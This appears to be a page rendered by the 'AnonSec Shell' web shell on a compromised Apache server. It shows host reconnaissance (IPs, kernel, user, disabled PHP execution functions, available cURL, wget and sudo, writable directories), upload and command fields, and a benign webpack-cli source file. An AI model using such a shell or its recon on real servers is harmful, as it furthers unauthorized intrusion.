AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/webpack-cli/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/webpack-cli/lib/utils/resolve-packages.js
"use strict";

const path = require("path");
const chalk = require("chalk");

const modifyConfigHelper = require("./modify-config-helper");

const getPathToGlobalPackages = require("./package-manager")
	.getPathToGlobalPackages;
const isLocalPath = require("./is-local-path");
const spawnChild = require("./package-manager").spawnChild;

/**
 *
 * Attaches a promise to the installation of the package
 *
 * @param {Function} child - The function to attach a promise to
 * @returns {Promise} promise - Returns a promise to the installation
 */

function processPromise(child) {
	return new Promise(function(resolve, reject) {
		//eslint-disable-line
		if (child.status !== 0) {
			reject();
		} else {
			resolve();
		}
	});
}

/**
 *
 * Resolves and installs the packages, later sending them to @creator
 *
 * @param {String[]} pkg - The dependencies to be installed
 * @returns {Function|Error} creator - Builds
 * a webpack configuration through yeoman or throws an error
 */

function resolvePackages(pkg) {
	Error.stackTraceLimit = 30;

	let packageLocations = [];

	function invokeGeneratorIfReady() {
		if (packageLocations.length === pkg.length)
			return modifyConfigHelper("init", null, packageLocations);
	}

	pkg.forEach(addon => {
		// Resolve paths to modules on local filesystem
		if (isLocalPath(addon)) {
			let absolutePath = addon;

			try {
				absolutePath = path.resolve(process.cwd(), addon);
				require.resolve(absolutePath);
				packageLocations.push(absolutePath);
			} catch (err) {
				console.log(`Cannot find a generator at ${absolutePath}.`);
				console.log("\nReason:\n");
				console.error(chalk.bold.red(err));
				process.exitCode = 1;
			}

			invokeGeneratorIfReady();
			return;
		}

		// Resolve modules on npm registry
		processPromise(spawnChild(addon))
			.then(_ => {
				try {
					const globalPath = getPathToGlobalPackages();
					packageLocations.push(path.resolve(globalPath, addon));
				} catch (err) {
					console.log("Package wasn't validated correctly..");
					console.log("Submit an issue for", pkg, "if this persists");
					console.log("\nReason: \n");
					console.error(chalk.bold.red(err));
					process.exitCode = 1;
				}
			})
			.catch(err => {
				console.log("Package couldn't be installed, aborting..");
				console.log("\nReason: \n");
				console.error(chalk.bold.red(err));
				process.exitCode = 1;
			})
			.then(invokeGeneratorIfReady);
	});
}

module.exports = {
	resolvePackages,
	processPromise
};

Anon7 - 2022
AnonSec Team